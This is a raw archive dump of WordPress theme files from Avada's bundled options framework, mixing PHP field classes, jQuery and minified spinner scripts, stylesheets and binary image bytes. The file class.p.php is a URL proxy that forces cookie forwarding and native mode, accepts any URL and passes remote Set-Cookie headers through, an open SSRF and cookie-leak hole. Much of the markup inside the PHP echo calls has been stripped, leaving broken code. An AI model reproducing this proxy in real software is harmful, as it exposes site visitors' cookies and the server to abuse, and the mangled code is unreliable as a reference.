} else { self::_vendor_plugin( true, $handle, $src_cdn, $deps, $ver, $in_footer, $is_script = true ); } } public static function enqueue_style( $handle, $src_cdn = false, $deps = array(), $ver = false, $media = 'all' ) { if ( self::$_parent->args['use_cdn'] ) { self::_cdn( false, $handle, $src_cdn, $deps, $ver, $media, $is_script = false ); } else { self::_vendor_plugin( false, $handle, $src_cdn, $deps, $ver, $media, $is_script = false ); } } public static function enqueue_script( $handle, $src_cdn = false, $deps = array(), $ver = false, $in_footer = false ) { if ( self::$_parent->args['use_cdn'] ) { self::_cdn( false, $handle, $src_cdn, $deps, $ver, $in_footer, $is_script = true ); } else { self::_vendor_plugin( false, $handle, $src_cdn, $deps, $ver, $in_footer, $is_script = true ); } } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/class.p.php000064400000023346152342437700021761 0ustar00 and // are disabled by default, see for more information. // callback - If specified, the response JSON will be wrapped in this named // function call. This parameter and are disabled by // default, see for more information. // user_agent - This value will be sent to the remote URL request as the // `User-Agent:` HTTP request header. If omitted, the browser user agent // will be passed through. // send_cookies - If send_cookies=1, all cookies will be forwarded through to // the remote URL request. // send_session - If send_session=1 and send_cookies=1, the SID cookie will be // forwarded through to the remote URL request. // full_headers - If a JSON request and full_headers=1, the JSON response will // contain detailed header information. // full_status - If a JSON request and full_status=1, the JSON response will // contain detailed cURL status information, otherwise it will just contain // the `http_code` property. // // Topic: POST Parameters // // All POST parameters are automatically passed through to the remote URL // request. // // Topic: JSON requests // // This request will return the contents of the specified url in JSON format. // // Request: // // > ba-simple-proxy.php?url=http://example.com/ // // Response: // // > { "contents": "...", "headers": {...}, "status": {...} } // // JSON object properties: // // contents - (String) The contents of the remote URL resource. // headers - (Object) A hash of HTTP headers returned by the remote URL // resource. // status - (Object) A hash of status codes returned by cURL. // // Topic: JSONP requests // // This request will return the contents of the specified url in JSONP format // (but only if $enable_jsonp is enabled in the PHP script). // // Request: // // > ba-simple-proxy.php?url=http://example.com/&callback=foo // // Response: // // > foo({ "contents": "...", "headers": {...}, "status": {...} }) // // JSON object properties: // // contents - (String) The contents of the remote URL resource. // headers - (Object) A hash of HTTP headers returned by the remote URL // resource. // status - (Object) A hash of status codes returned by cURL. // // Topic: Native requests // // This request will return the contents of the specified url in the format it // was received in, including the same content-type and other headers (but only // if $enable_native is enabled in the PHP script). // // Request: // // > ba-simple-proxy.php?url=http://example.com/&mode=native // // Response: // // > ... // // Topic: Notes // // * Assumes magic_quotes_gpc = Off in php.ini // // Topic: Configuration Options // // These variables can be manually edited in the PHP file if necessary. // // $enable_jsonp - Only enable if you really need to. If you // install this script on the same server as the page you're calling it // from, plain JSON will work. Defaults to false. // $enable_native - You can enable , but you should only do // this if you also whitelist specific URLs using $valid_url_regex, to avoid // possible XSS vulnerabilities. Defaults to false. // $valid_url_regex - This regex is matched against the url parameter to // ensure that it is valid. This setting only needs to be used if either // $enable_jsonp or $enable_native are enabled. Defaults to '/.*/' which // validates all URLs. // // ############################################################################ $_GET['mode'] = "native"; $_GET['full_headers'] = 1; $_GET['full_status'] = 1; $_GET['send_cookies'] = 1; // Change these configuration options if needed, see above descriptions for info. $enable_jsonp = false; $enable_native = true; $valid_url_regex = '/.*/'; // ############################################################################ $url = $_GET['url']; if ( isset( $_GET['nonce'] ) ) { $url = str_replace( 'nonce=' . $_GET['nonce'] . '&', '', $url ); } if ( ! $url ) { // Passed url not specified. $contents = 'ERROR: url not specified'; $status = array( 'http_code' => 'ERROR' ); } else if ( ! preg_match( $valid_url_regex, $url ) ) { // Passed url doesn't match $valid_url_regex. $contents = 'ERROR: invalid url'; $status = array( 'http_code' => 'ERROR' ); } else { $url = urldecode( $url ); if ( isset( $_GET['proxy'] ) ) { $url .= '&proxy=' . $_GET['proxy']; } // Ad URL rewrite if ( strpos( $url, 'http' ) === false ) { $url = 'http:' . $url; } if ( isset( $_GET['callback'] ) ) { foreach ( $_GET as $key => $value ) { if ( in_array( $key, array( 'url', 'mode', 'full_headers', 'full_status', 'send_cookies' ) ) ) { continue; } $url .= "&" . $key . '=' . $value; } } $args = array( 'user-agent' => isset( $_GET['user_agent'] ) ? $_GET['user_agent'] : $_SERVER['HTTP_USER_AGENT'], 'method' => 'GET', ); if ( isset( $_GET['send_cookies'] ) && $_GET['send_cookies'] ) { $cookie = array(); foreach ( $_COOKIE as $key => $value ) { $cookie[] = $key . '=' . $value; } if ( isset( $_GET['send_session'] ) && $_GET['send_session'] ) { $cookie[] = SID; } $args['cookies'] = $cookie; } if ( strtolower( $_SERVER['REQUEST_METHOD'] ) == 'post' ) { $args['body'] = $_POST; $args['method'] = 'POST'; } $response = wp_remote_request( $url, $args ); if ( ! is_wp_error( $response ) ) { $status = $response['response']['code']; $contents = $response['body']; } } if ( isset( $_GET['mode'] ) && $_GET['mode'] == 'native' ) { if ( ! $enable_native ) { $contents = 'ERROR: invalid mode'; $status = array( 'http_code' => 'ERROR' ); } if ( ! is_wp_error( $response ) && isset( $response['headers']['content-type'] ) ) { header( 'Content-Type: ' . $response['headers']['content-type'] ); } if ( ! is_wp_error( $response ) && isset( $response['headers']['content-language'] ) ) { header( 'Content-Language: ' . $response['headers']['content-language'] ); } if ( ! is_wp_error( $response ) && isset( $response['headers']['set-cookie'] ) ) { header( 'Set-Cookie: ' . $response['headers']['set-cookie'] ); } if ( isset( $contents ) ) { echo ''; } } else { // $data will be serialized into JSON data. $data = array(); // Propagate all HTTP headers into the JSON data object. if ( isset( $_GET['full_headers'] ) && $_GET['full_headers'] ) { $data['headers'] = array(); } // Propagate all cURL request / response info to the JSON data object. if ( isset( $_GET['full_status'] ) && $_GET['full_status'] ) { $data['status'] = $status; } else { $data['status'] = array(); $data['status']['http_code'] = $status['http_code']; } // Set the JSON data object contents, decoding it from JSON if possible. $decoded_json = json_decode( $contents ); $data['contents'] = str_replace( 'e(window).width()', 'window.innerWidth||e(window).width()', $decoded_json ? $decoded_json : $contents ); // Generate appropriate content-type header. $is_xhr = isset( $_SERVER['HTTP_X_REQUESTED_WITH'] ) ? strtolower( $_SERVER['HTTP_X_REQUESTED_WITH'] ) : 'xmlhttprequest'; header( 'Content-type: application/' . ( $is_xhr ? 'json' : 'x-javascript' ) ); // Get JSONP callback. $jsonp_callback = $enable_jsonp && isset( $_GET['callback'] ) ? $_GET['callback'] : null; // Generate JSON/JSONP string $json = json_encode( $data ); print $jsonp_callback ? "$jsonp_callback($json)" : $json; } } } new FusionRedux_P(); Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/checkbox/field_checkbox.js000064400000002661152342437700026225 0ustar00/** * FusionRedux Checkbox * Dependencies : jquery * Feature added by : Dovy Paukstys * Date : 17 June 2014 */ /*global fusionredux_change, wp, fusionredux*/ (function( $ ) { "use strict"; fusionredux.field_objects = fusionredux.field_objects || {}; fusionredux.field_objects.checkbox = fusionredux.field_objects.checkbox || {}; $( document ).ready( function() { //fusionredux.field_objects.checkbox.init(); } ); fusionredux.field_objects.checkbox.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".fusionredux-group-tab:visible" ).find( '.fusionredux-container-checkbox:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'fusionredux-field-container' ) ) { parent = el.parents( '.fusionredux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'fusionredux-field-init' ) ) { parent.removeClass( 'fusionredux-field-init' ); } else { return; } el.find( '.checkbox' ).on( 'click', function( e ) { var val = 0; if ( $( this ).is( ':checked' ) ) { val = $( this ).parent().find( '.checkbox-check' ).attr( 'data-val' ); } $( this ).parent().find( '.checkbox-check' ).val( val ); fusionredux_change( $( this ) ); } ); } ); }; })( jQuery ); Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/checkbox/field_checkbox.scss000064400000000356152342437700026563 0ustar00.fusionredux-container-checkbox { label { vertical-align: top; width: 100%; .field-desc { margin-top: 0; float: left; width: 93%; clear: none; } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/checkbox/field_checkbox.php000064400000012764152342437700026405 0ustar00. * * @package FusionReduxFramework * @subpackage Field_Checkbox * @author Daniel J Griffiths (Ghost1227) * @author Dovy Paukstys * @version 3.0.0 */ // Exit if accessed directly if ( !defined ( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( !class_exists ( 'FusionReduxFramework_checkbox' ) ) { /** * Main FusionReduxFramework_checkbox class * * @since 1.0.0 */ class FusionReduxFramework_checkbox { public $parent; public $field; public $value; /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct ( $field = array(), $value = '', $parent = null ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render () { if( !empty( $this->field['data'] ) && empty( $this->field['options'] ) ) { if (empty($this->field['args'])) { $this->field['args'] = array(); } $this->field['options'] = $this->parent->get_wordpress_data($this->field['data'], $this->field['args']); if (empty($this->field['options'])) { return; } } $this->field[ 'data_class' ] = ( isset ( $this->field[ 'multi_layout' ] ) ) ? 'data-' . $this->field[ 'multi_layout' ] : 'data-full'; if ( !empty ( $this->field[ 'options' ] ) && ( is_array ( $this->field[ 'options' ] ) || is_array ( $this->field[ 'default' ] ) ) ) { echo '
      '; if ( !isset ( $this->value ) ) { $this->value = array(); } if ( !is_array ( $this->value ) ) { $this->value = array(); } if ( empty ( $this->field[ 'options' ] ) && isset ( $this->field[ 'default' ] ) && is_array ( $this->field[ 'default' ] ) ) { $this->field[ 'options' ] = $this->field[ 'default' ]; } foreach ( $this->field[ 'options' ] as $k => $v ) { if ( empty ( $this->value[ $k ] ) ) { $this->value[ $k ] = ""; } echo '
    • '; echo ''; echo '
    • '; } echo '
    '; } else if ( empty ( $this->field[ 'data' ] ) ) { echo (!empty ( $this->field[ 'desc' ] ) ) ? '
    '; } } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue () { if ($this->parent->args['dev_mode']) { wp_enqueue_style ( 'fusionredux-field-checkbox-css', FusionReduxFramework::$_url . 'inc/fields/checkbox/field_checkbox.css', array(), time (), 'all' ); } wp_enqueue_script ( 'fusionredux-field-checkbox-js', FusionReduxFramework::$_url . 'inc/fields/checkbox/field_checkbox' . FusionRedux_Functions::isMin () . '.js', array( 'jquery', 'fusionredux-js' ), time (), true ); } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/checkbox/field_checkbox.min.js000064400000001444152342437700027005 0ustar00!function(e){"use strict";fusionredux.field_objects=fusionredux.field_objects||{},fusionredux.field_objects.checkbox=fusionredux.field_objects.checkbox||{},e(document).ready(function(){}),fusionredux.field_objects.checkbox.init=function(i){i||(i=e(document).find(".fusionredux-group-tab:visible").find(".fusionredux-container-checkbox:visible")),e(i).each(function(){var i=e(this),n=i;i.hasClass("fusionredux-field-container")||(n=i.parents(".fusionredux-field-container:first")),n.is(":hidden")||n.hasClass("fusionredux-field-init")&&(n.removeClass("fusionredux-field-init"),i.find(".checkbox").on("click",function(i){var n=0;e(this).is(":checked")&&(n=e(this).parent().find(".checkbox-check").attr("data-val")),e(this).parent().find(".checkbox-check").val(n),fusionredux_change(e(this))}))})}}(jQuery);Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/checkbox/field_checkbox.css000064400000000366152342437700026401 0ustar00.fusionredux-container-checkbox label{vertical-align:top;width:100%}.fusionredux-container-checkbox label .field-desc{margin-top:0;float:left;width:93%;clear:none}/*# sourceMappingURL=FusionReduxCore/inc/fields/checkbox/field_checkbox.css.map */ Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/spinner/arrow_left.png000064400000000226152342437700025473 0ustar00PNG  IHDR /3tEXtSoftwareAdobe ImageReadyqe<8IDATxb?:nii. H %aq&?NW!K2eQH QܥWVIENDB`Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/spinner/field_spinner.scss000064400000006227152342437700026346 0ustar00.fusionredux-container-spinner { .spinner-wrpr { position: relative; display: block; height: 30px; overflow: hidden; .spinner-input { position: relative !important; z-index: 1; width: 45px !important; height: 30px !important; background: #e7e7e7 !important; border: 1px solid #bfbfbf !important; border-right: 0 !important; border-left: 0 !important; -webkit-border-radius: 0 !important; -moz-border-radius: 0 !important; border-radius: 0 !important; } } .ui-spinner { position: static; display: inline; } .ui-spinner-buttons { position: absolute; padding: 0; } .ui-widget .ui-spinner-button { position: absolute; top: 0; padding: 0 0 30px; overflow: hidden; cursor: pointer; background: -moz-linear-gradient(#ffffff, #f3f3f3); background: -o-linear-gradient(#ffffff, #f3f3f3); background: -webkit-gradient(linear, left top, left bottom, from(#ffffff), to(#f3f3f3)); background: linear-gradient(#ffffff, #f3f3f3); background-color: #ffffff; border: none; -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } .ui-spinner-button:hover, .ui-state-hover { background: -moz-linear-gradient(#f3f3f3, #ffffff); background: -o-linear-gradient(#f3f3f3, #ffffff); background: -webkit-gradient(linear, left top, left bottom, from(#f3f3f3), to(#ffffff)); background: linear-gradient(#f3f3f3, #ffffff); background-color: #f3f3f3; } .ui-corner-tr, .ui-spinner-button .ui-icon-triangle-1-n { -webkit-border-radius: 0 5px 5px 0; -moz-border-radius: 0 5px 5px 0; border-radius: 0 5px 5px 0; } .ui-corner-br, .ui-spinner-button .ui-icon-triangle-1-s { -webkit-border-radius: 5px 0 0 5px; -moz-border-radius: 5px 0 0 5px; border-radius: 5px 0 0 5px; } .ui-spinner-button { .ui-icon { top: 0; display: block; width: 28px; height: 28px; margin: 0; border: 1px solid #b7b7b7; } .ui-icon-triangle-1-n { background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAKCAYAAACXDi8zAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADxJREFUeNpsjwsKADAIQu3u3tsRY6M5gz7w0AqSQFLdZ3ZRgmf44JQ/EOZ9oYOsiDviVemP2oYoWCwBBgDpO6VXVo3RyQAAAABJRU5ErkJggg==) 10px 10px no-repeat!important; } .ui-icon-triangle-1-s { background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAKCAYAAACXDi8zAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADhJREFUeNpi+P//PwM6bmlpwS4IorEKokggC8Il0AVhEv9x6sAmiaz9P05XIUsygmVRAUiAESDAAFHcpVdWtdj/AAAAAElFTkSuQmCC) 10px 10px no-repeat!important; } } } @media screen and (max-width: 570px) { .fusionredux-container-spinner { .spinner-wrpr { //text-align: center; // Need to center align this SOMEHOW } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/spinner/field_spinner.js000064400000011010152342437700025771 0ustar00/*global fusionredux_change, fusionredux*/ (function( $ ) { "use strict"; fusionredux.field_objects = fusionredux.field_objects || {}; fusionredux.field_objects.spinner = fusionredux.field_objects.spinner || {}; $( document ).ready( function() { //fusionredux.field_objects.spinner.init(); } ); fusionredux.field_objects.spinner.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".fusionredux-group-tab:visible" ).find( '.fusionredux-container-spinner:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'fusionredux-field-container' ) ) { parent = el.parents( '.fusionredux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'fusionredux-field-init' ) ) { parent.removeClass( 'fusionredux-field-init' ); } else { return; } el.find( '.fusionredux_spinner' ).each( function() { //slider init var spinner = $( this ).find( '.spinner-input' ).data(); spinner.id = $( this ).find( '.spinner-input' ).attr( 'id' ); el.find( "#" + spinner.id ).spinner( { value: parseFloat( spinner.val, null ), min: parseFloat( spinner.min, null ), max: parseFloat( spinner.max, null ), step: parseFloat( spinner.step, null ), range: "min", slide: function( event, ui ) { var input = $( "#" + spinner.id ); input.val( ui.value ); fusionredux_change( input ); } } ); // Limit input for negative var neg = false; if ( parseInt( spinner.min, null ) < 0 ) { neg = true; } //el.find( "#" + spinner.id ).numeric( // { // allowMinus: neg, // min: spinner.min, // max: spinner.max // } //); } ); // Update the slider from the input and vice versa el.find( ".spinner-input" ).on( 'keyup', function() { $( this ).addClass( 'spinnerInputChange' ); } ); el.find( ".spinner-input" ).focus( function() { fusionredux.field_objects.spinner.clean( $( this ).val(), $( this ) ); } ); el.find( '.spinner-input' ).typeWatch( { callback: function( value ) { fusionredux.field_objects.spinner.clean( value, $( this ) ); }, wait: 500, highlight: false, captureLength: 1 } ); } ); }; fusionredux.field_objects.spinner.clean = function( value, selector ) { if ( !selector.hasClass( 'spinnerInputChange' ) ) { return; } selector.removeClass( 'spinnerInputChange' ); var spinner = selector.data(); value = parseFloat( value ); if ( value === "" || value === null ) { value = spinner.min; } else if ( value >= parseInt( spinner.max ) ) { value = spinner.max; } else if ( value <= parseInt( spinner.min ) ) { value = spinner.min; } else { value = Math.round( value / spinner.step ) * spinner.step; } selector.val( value ).trigger( 'change' ); }; })( jQuery ); includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/spinner/vendor/spinner_custom.min.js000064400000016711152342437700030235 0ustar00Avada!function(t){var e,n="ui-state-active",i="ui-state-hover",s="ui-state-disabled",o=t.ui.keyCode,a=o.UP,u=o.DOWN,r=o.RIGHT,l=o.LEFT,c=o.PAGE_UP,p=o.PAGE_DOWN,d=o.HOME,h=o.END,f=t.browser.msie,m=t.browser.mozilla?"DOMMouseScroll":"mousewheel",g=".uispinner",v=[a,u,r,l,c,p,d,h,o.BACKSPACE,o.DELETE,o.TAB];t.widget("ui.spinner",{options:{min:null,max:null,allowNull:!1,group:"",point:".",prefix:"",suffix:"",places:null,defaultStep:1,largeStep:10,mouseWheel:!0,increment:"slow",className:null,showOn:"always",width:95,upIconClass:"ui-icon-triangle-1-n",downIconClass:"ui-icon-triangle-1-s",format:function(t,e){var n=this,i=/(\d+)(\d{3})/,s=(isNaN(t)?0:Math.abs(t)).toFixed(e)+"";for(s=s.replace(".",n.point);i.test(s)&&n.group;s=s.replace(i,"$1"+n.group+"$2"));return(t<0?"-":"")+n.prefix+s+n.suffix},parse:function(t){var e=this;return"."==e.group&&(t=t.replace(".","")),"."!=e.point&&(t=t.replace(e.point,".")),parseFloat(t.replace(/[^0-9\-\.]/g,""))}},_create:function(){var t=this,e=t.element,n=e.attr("type");!e.is("input")||"text"!=n&&"number"!=n||(t._procOptions(!0),t._createButtons(e),e.is(":enabled")||t.disable())},_createButtons:function(s){function m(){return W&&(t(this).removeClass(n),k._stopSpin(),W=!1),!1}function b(t){if(x){if(t===S)return;clearTimeout(x)}S=t,x=setTimeout(function(){x=0,t()},100)}function _(t){for(var e=0;e').css({width:(k.oWidth=V?s.width():s.outerWidth())-E,marginRight:"30px",marginLeft:"30px",textAlign:"center",float:"none",marginTop:0}).after('').next()),F=k.btnContainer=t('
    '),L="rtl"==s[0].dir;B&&A.addClass(B),A.append(F.css({height:D,left:0,top:0})),(y=k.buttons=F.find(".ui-spinner-button")).css({width:"30px",height:D-(V?y.outerHeight()-y.height():0)}),y.eq(0).css({right:"0"}),y.eq(1).css({left:"0"}),w=y[0],C=y[1],y.find(".ui-icon"),F.width("105px"),"always"!=I&&F.css("opacity",0),"hover"!=I&&"both"!=I||y.add(s).bind("mouseenter"+g,function(){b(function(){M=!0,k.focused&&"hover"!=I||k.showButtons()})}).bind("mouseleave"+g,function(){b(function(){M=!1,k.focused&&"hover"!=I||k.hideButtons()})}),y.hover(function(){k.buttons.removeClass(i),N.disabled||t(this).addClass(i)},function(){t(this).removeClass(i)}).mousedown(function(){if(!N.disabled){var e=k.element[0],i=this===w?1:-1;e.focus(),e.select(),t(this).addClass(n),W=!0,k._startSpin(i)}return!1}).mouseup(m).mouseout(m),f&&y.dblclick(function(){return N.disabled||(k._change(),k._doSpin((this===w?1:-1)*N.step)),!1}).bind("selectstart",function(){return!1}),s.bind("keydown"+g,function(e){var i,s,o,f=e.keyCode;if(e.ctrl||e.alt)return!0;if(_(f)&&(T=!0),O)return!1;switch(f){case a:case c:i=1,s=f==c;break;case u:case p:i=-1,s=f==p;break;case r:case l:i=f==r^L?1:-1;break;case d:return null!=(o=k.options.min)&&k._setValue(o),!1;case h:return o=k.options.max,null!=(o=k.options.max)&&k._setValue(o),!1}return i?(O||N.disabled||(keyDir=i,t(i>0?w:C).addClass(n),O=!0,k._startSpin(i,s)),!1):void 0}).bind("keyup"+g,function(t){if(t.ctrl||t.alt)return!0;switch(_(o)&&(T=!1),t.keyCode){case a:case r:case c:case u:case l:case p:return y.removeClass(n),k._stopSpin(),O=!1,!1}}).bind("keypress"+g,function(t){if(function(t,e){if(T)return!1;var n=String.fromCharCode(e||t),i=k.options;return!(n>="0"&&n<="9"||"-"==n||k.places>0&&n==i.point||n==i.group)}(t.keyCode,t.charCode))return!1}).bind("change"+g,function(){k._change()}).bind("focus"+g,function(){function t(){k.element.select()}f?t():setTimeout(t,0),k.focused=!0,e=k,M||"focus"!=I&&"both"!=I||k.showButtons()}).bind("blur"+g,function(){k.focused=!1,M||"focus"!=I&&"both"!=I||k.hideButtons()})},_procOptions:function(t){var e,n=this,i=n.element,s=n.options,o=s.min,a=s.max,u=s.step,r=s.places,l=-1;"slow"==s.increment?s.increment=[{count:1,mult:1,delay:250},{count:3,mult:1,delay:100},{count:0,mult:1,delay:50}]:"fast"==s.increment&&(s.increment=[{count:1,mult:1,delay:250},{count:19,mult:1,delay:100},{count:80,mult:1,delay:20},{count:100,mult:10,delay:20},{count:0,mult:100,delay:20}]),null==o&&null!=(e=i.attr("min"))&&(o=parseFloat(e)),null==a&&null!=(e=i.attr("max"))&&(a=parseFloat(e)),u||null==(e=i.attr("step"))||"any"!=e&&(u=parseFloat(e),s.largeStep*=u),s.step=u=u||s.defaultStep,null==r&&-1!=(e=u+"").indexOf(".")&&(r=e.length-e.indexOf(".")-1),n.places=r,null!=a&&null!=o&&(o>a&&(o=a),l=Math.max(Math.max(l,s.format(a,r,i).length),s.format(o,r,i).length)),t&&(n.inputMaxLength=i[0].maxLength),(e=n.inputMaxLength)>0&&(l=l>0?Math.min(e,l):e,e=Math.pow(10,l)-1,(null==a||a>e)&&(a=e),e=-(e+1)/10+1,(null==o||o0&&i.attr("maxlength",l),s.min=o,s.max=a,n._change(),i.unbind(m+g),s.mouseWheel&&i.bind(m+g,n._mouseWheel)},_mouseWheel:function(n){var i=t.data(this,"spinner");if(!i.options.disabled&&i.focused&&e===i)return i._change(),i._doSpin(((n.wheelDelta||-n.detail)>0?1:-1)*i.options.step),!1},_setTimer:function(t,e,n){var i=this;i._stopSpin(),i.timer=setInterval(function(){i._spin(e,n)},t)},_stopSpin:function(){this.timer&&(clearInterval(this.timer),this.timer=0)},_startSpin:function(t,e){var n=this,i=n.options.increment;n._change(),n._doSpin(t*(e?n.options.largeStep:n.options.step)),i&&i.length>0&&(n.counter=0,n.incCounter=0,n._setTimer(i[0].delay,t,e))},_spin:function(t,e){var n=this,i=n.options.increment,s=i[n.incCounter];n._doSpin(t*s.mult*(e?n.options.largeStep:n.options.step)),n.counter++,n.counter>s.count&&n.incCounter0?e.options.min:e.options.max)||0),e._setValue(n+t)},_parseValue:function(){var t=this.element.val();return t?this.options.parse(t,this.element):null},_validate:function(t){var e=this.options,n=e.min,i=e.max;return null!=t||e.allowNull||(t=null!=this.curvalue?this.curvalue:n||i||0),null!=i&&t>i?i:null!=n&&t="0"&&c<="9"||c=="-")return false;if(p.places>0&&c==d.point||c==d.group)return false;return true}function N(a){for(var b=0;b').css({width:(p.oWidth=x?b.width():b.outerWidth())-v,marginRight:"30px",marginLeft:"30px",textAlign:"center","float":"none",marginTop:0}).after('').next(),B=p.btnContainer=a('
    '+'
    '+'
    '+"
    "),C,D,E,F,G,H,I,J,K,L,M=b[0].dir=="rtl";if(u)A.addClass(u);A.append(B.css({height:y,left:0,top:0}));E=p.buttons=B.find(".ui-spinner-button");E.css({width:"30px",height:y-(x?E.outerHeight()-E.height():0)});E.eq(0).css({right:"0"});E.eq(1).css({left:"0"});C=E[0];D=E[1];F=E.find(".ui-icon");B.width("105px");if(w!="always")B.css("opacity",0);if(w=="hover"||w=="both")E.add(b).bind("mouseenter"+q,function(){P(function(){I=true;if(!p.focused||w=="hover")p.showButtons()})}).bind("mouseleave"+q,function S(){P(function(){I=false;if(!p.focused||w=="hover")p.hideButtons()})});E.hover(function(){p.buttons.removeClass(d);if(!t.disabled)a(this).addClass(d)},function(){a(this).removeClass(d)}).mousedown(Q).mouseup(R).mouseout(R);if(o)E.dblclick(function(){if(!t.disabled){p._change();p._doSpin((this===C?1:-1)*t.step)}return false}).bind("selectstart",function(){return false});b.bind("keydown"+q,function(b){var d,e,f,o=b.keyCode;if(b.ctrl||b.alt)return true;if(N(o))K=true;if(J)return false;switch(o){case g:case k:d=1;e=o==k;break;case h:case l:d=-1;e=o==l;break;case i:case j:d=o==i^M?1:-1;break;case m:f=p.options.min;if(f!=null)p._setValue(f);return false;case n:f=p.options.max;f=p.options.max;if(f!=null)p._setValue(f);return false}if(d){if(!J&&!t.disabled){keyDir=d;a(d>0?C:D).addClass(c);J=true;p._startSpin(d,e)}return false}}).bind("keyup"+q,function(a){if(a.ctrl||a.alt)return true;if(N(f))K=false;switch(a.keyCode){case g:case i:case k:case h:case j:case l:E.removeClass(c);p._stopSpin();J=false;return false}}).bind("keypress"+q,function(a){if(O(a.keyCode,a.charCode))return false}).bind("change"+q,function(){p._change()}).bind("focus"+q,function(){function a(){p.element.select()}o?a():setTimeout(a,0);p.focused=true;s=p;if(!I&&(w=="focus"||w=="both"))p.showButtons()}).bind("blur"+q,function(){p.focused=false;if(!I&&(w=="focus"||w=="both"))p.hideButtons()})},_procOptions:function(a){var b=this,c=b.element,d=b.options,e=d.min,f=d.max,g=d.step,h=d.places,i=-1,j;if(d.increment=="slow")d.increment=[{count:1,mult:1,delay:250},{count:3,mult:1,delay:100},{count:0,mult:1,delay:50}];else if(d.increment=="fast")d.increment=[{count:1,mult:1,delay:250},{count:19,mult:1,delay:100},{count:80,mult:1,delay:20},{count:100,mult:10,delay:20},{count:0,mult:100,delay:20}];if(e==null&&(j=c.attr("min"))!=null)e=parseFloat(j);if(f==null&&(j=c.attr("max"))!=null)f=parseFloat(j);if(!g&&(j=c.attr("step"))!=null)if(j!="any"){g=parseFloat(j);d.largeStep*=g}d.step=g=g||d.defaultStep;if(h==null&&(j=g+"").indexOf(".")!=-1)h=j.length-j.indexOf(".")-1;b.places=h;if(f!=null&&e!=null){if(e>f)e=f;i=Math.max(Math.max(i,d.format(f,h,c).length),d.format(e,h,c).length)}if(a)b.inputMaxLength=c[0].maxLength;j=b.inputMaxLength;if(j>0){i=i>0?Math.min(j,i):j;j=Math.pow(10,i)-1;if(f==null||f>j)f=j;j=-(j+1)/10+1;if(e==null||e0)c.attr("maxlength",i);d.min=e;d.max=f;b._change();c.unbind(p+q);if(d.mouseWheel)c.bind(p+q,b._mouseWheel)},_mouseWheel:function(b){var c=a.data(this,"spinner");if(!c.options.disabled&&c.focused&&s===c){c._change();c._doSpin(((b.wheelDelta||-b.detail)>0?1:-1)*c.options.step);return false}},_setTimer:function(a,b,c){function e(){d._spin(b,c)}var d=this;d._stopSpin();d.timer=setInterval(e,a)},_stopSpin:function(){if(this.timer){clearInterval(this.timer);this.timer=0}},_startSpin:function(a,b){var c=this,d=c.options,e=d.increment;c._change();c._doSpin(a*(b?c.options.largeStep:c.options.step));if(e&&e.length>0){c.counter=0;c.incCounter=0;c._setTimer(e[0].delay,a,b)}},_spin:function(a,b){var c=this,d=c.options.increment,e=d[c.incCounter];c._doSpin(a*e.mult*(b?c.options.largeStep:c.options.step));c.counter++;if(c.counter>e.count&&c.incCounter0?b.options.min:b.options.max)||0;b._setValue(c+a)},_parseValue:function(){var a=this.element.val();return a?this.options.parse(a,this.element):null},_validate:function(a){var b=this.options,c=b.min,d=b.max;if(a==null&&!b.allowNull)a=this.curvalue!=null?this.curvalue:c||d||0;if(d!=null&&a>d)return d;else if(c!=null&&a=parseInt(e.max)?e.max:n<=parseInt(e.min)?e.min:Math.round(n/e.step)*e.step,i.val(n).trigger("change")}}}(jQuery);Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/spinner/arrow_right.png000064400000000232152342437710025654 0ustar00PNG  IHDR /3tEXtSoftwareAdobe ImageReadyqe< @RgvQg?};Uچ(X,;WVIENDB`Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/spinner/field_spinner.php000064400000011567152342437710026166 0ustar00parent = $parent; $this->field = $field; $this->value = $value; } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since FusionReduxFramework 3.0.0 */ function render() { $params = array( 'min' => '', 'max' => '', 'step' => '', 'default' => '', ); $this->field = wp_parse_args( $this->field, $params ); $data_string = ""; foreach($this->field as $key => $val) { if (in_array($key, array('min', 'max', 'step', 'default'))) { $data_string.= " data-".$key.'="'.$val.'"'; } } $data_string .= ' data-val="'.$val.'"'; // Don't allow input edit if there's a step $readonly = ""; if ( isset( $this->field['edit'] ) && $this->field['edit'] == false ) { $readonly = ' readonly="readonly"'; } echo '
    '; echo ''; echo '
